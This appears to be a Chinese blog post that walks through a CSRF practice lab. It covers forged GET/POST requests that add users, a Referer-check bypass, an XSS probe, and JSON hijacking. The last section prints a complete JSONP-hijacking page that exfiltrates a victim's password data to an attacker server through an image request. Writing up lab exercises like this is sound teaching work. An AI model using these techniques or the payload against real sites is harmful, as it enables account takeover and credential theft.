CSRF实战靶场 --致谢大哥

0X01无防护GET类型CSRF(伪造添加成员请求)

环境 靶机管理登陆 192.168.1.132

 本机 192.168.1.5

首先我们登陆 test账号 然后点击 添加用户

构造出我们的url

然后发送给已经登陆的管理员

管理 点开连接

可以看见我们添加成功

0X02无防护POST类型csrf-伪造出添加成员的请求

你想让受害者执行的页面构造poc  大哥说用burp

 

 然后 发送页面到受害者登陆了的电脑 然他点击

最后看见成功添加

0x03绕过CSRF防护之Referer检查-伪造购买商品请求

这里来讲解一下refer是什么呐??这里给你解释

https://blog.csdn.net/shenqueying/article/details/79426884

那么我们继续组合群 burp POC 然后发给admin

 

 但是出现了这样的结果 why?

这里我们在DVWA上面做过这个 可以将页面名称改为

www.csrf_demo.com.html

然后将其放到外网服务器上面去

然后构造

http://外网ip/www.csrf_demo.com.html  这样referer里面就包含和host相同的值了

这里 我们的外网ip是

http://xxxxx:2017/www.csrf_demo.com.html

然后就会购买成功

0X04配合XSS漏洞获取了用户token后进行csrf攻击(伪造添加成员请求)

这里题目告诉我们要利用xss漏洞获取用户token csrf是不可以单独获取用户的token的 所以这里我们配合xss

经过我们测试发现 username和password处都存在XSS注入

<script>alert(1)</script>

 

0X05JSON服务端情景的CSRF伪造劫持(伪造并劫持查询当前用户信息的请求)

首先我们先来了解一下什么是json 下面讲解

https://baike.baidu.com/item/JSON/2462549?fr=aladdin

任务要求

模拟出查询当前用户密码的请求链接,发送给已经登录的管理,造成csrf攻击并劫持服务端返回来的JSON信息

思路

构造查看密码连接 发给管理 让管理点击 然后我们使用json劫持 盗取从服务器返回来的密码信息 并且发送给我们的服务器

0X0A burp构造 查看密码CSRFpoc

0X0B 利用JSON劫持 并且将数据写入到我们服务器的文本中(动态注入script标签)

自定义call4back函数,来劫持数据

触发函数后 从服务器端返回json数据 然后将数据输出到前端

这里还是把我们的js脚本放在服务器上 然后用script进行跨域请求

 

访问我们的脚本代码

<html>
<head>
<script type="text/javascript"> 
    function hijack(result) { 
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
                            }
new Image().src = "http://www.csrf_demo.com/hack.php?data=" + escape(data);//把数据发送到攻击者服务器上
                            } 
</script> 
<script type="text/javascript" src="http://www.csrf_demo.com/csrf_5.php?callback=hijack"></script> 
</body>
</html>

然后就成功执行了

 

posted @ 2019-06-17 19:21  yourse1f  阅读(1868)  评论(1编辑  收藏  举报